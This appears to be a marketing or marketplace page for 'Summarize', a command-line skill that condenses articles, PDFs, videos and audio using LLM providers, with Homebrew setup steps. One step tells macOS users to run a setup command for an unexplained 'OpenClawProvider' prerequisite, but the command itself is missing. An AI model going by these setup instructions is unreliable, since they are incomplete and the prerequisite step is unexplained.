What is Summarize?
The Summarize skill is a professional-grade command-line utility designed for developers and researchers who need to distill large volumes of information into actionable insights. By integrating with state-of-the-art LLMs such as Google Gemini, OpenAI, and Anthropic, it provides a unified interface for processing diverse content types. Whether you are dealing with a complex technical article, a lengthy PDF report, or a YouTube video, this tool is an essential component of the Openclaw Skills ecosystem for rapid data ingestion.
Built with extensibility in mind, Summarize allows users to customize the depth of information extraction through specific length flags and output formats. It serves as a bridge between raw digital content and the high-level understanding required for effective decision-making and automated knowledge management.
Summarize Use Cases
- Condensing long-form web articles and documentation into executive summaries.
- Extracting key takeaways from research papers and local PDF files.
- Generating transcripts and summaries for YouTube videos to save viewing time.
- Processing images and audio files for quick textual descriptions and analysis.
- Automating content intelligence within larger developer workflows using Openclaw Skills.
How Summarize Works
- The user initiates a command via the CLI, providing a source input such as a URL, file path, or YouTube link.
- The tool utilizes specialized extraction engines, including optional Firecrawl and Apify integrations, to parse the raw content from the source.
- Extracted data is sent to the user's preferred AI provider (OpenAI, Anthropic, xAI, or Google) using secure API keys.
- The AI model processes the content based on user-defined parameters like length (short to xxl) and maximum token limits.
- The final summary is returned directly to the terminal or output as a structured JSON object for further automation.
Summarize Setup
First, ensure you have the Openclaw Skills environment ready. Install the core utility via Homebrew on macOS:
brew tap steipete/tap
brew install summarize
This skill requires OpenClawProvider. On macOS, run the following setup command:

Finally, set your API key for your preferred AI provider:
export GEMINI_API_KEY='your_api_key_here'
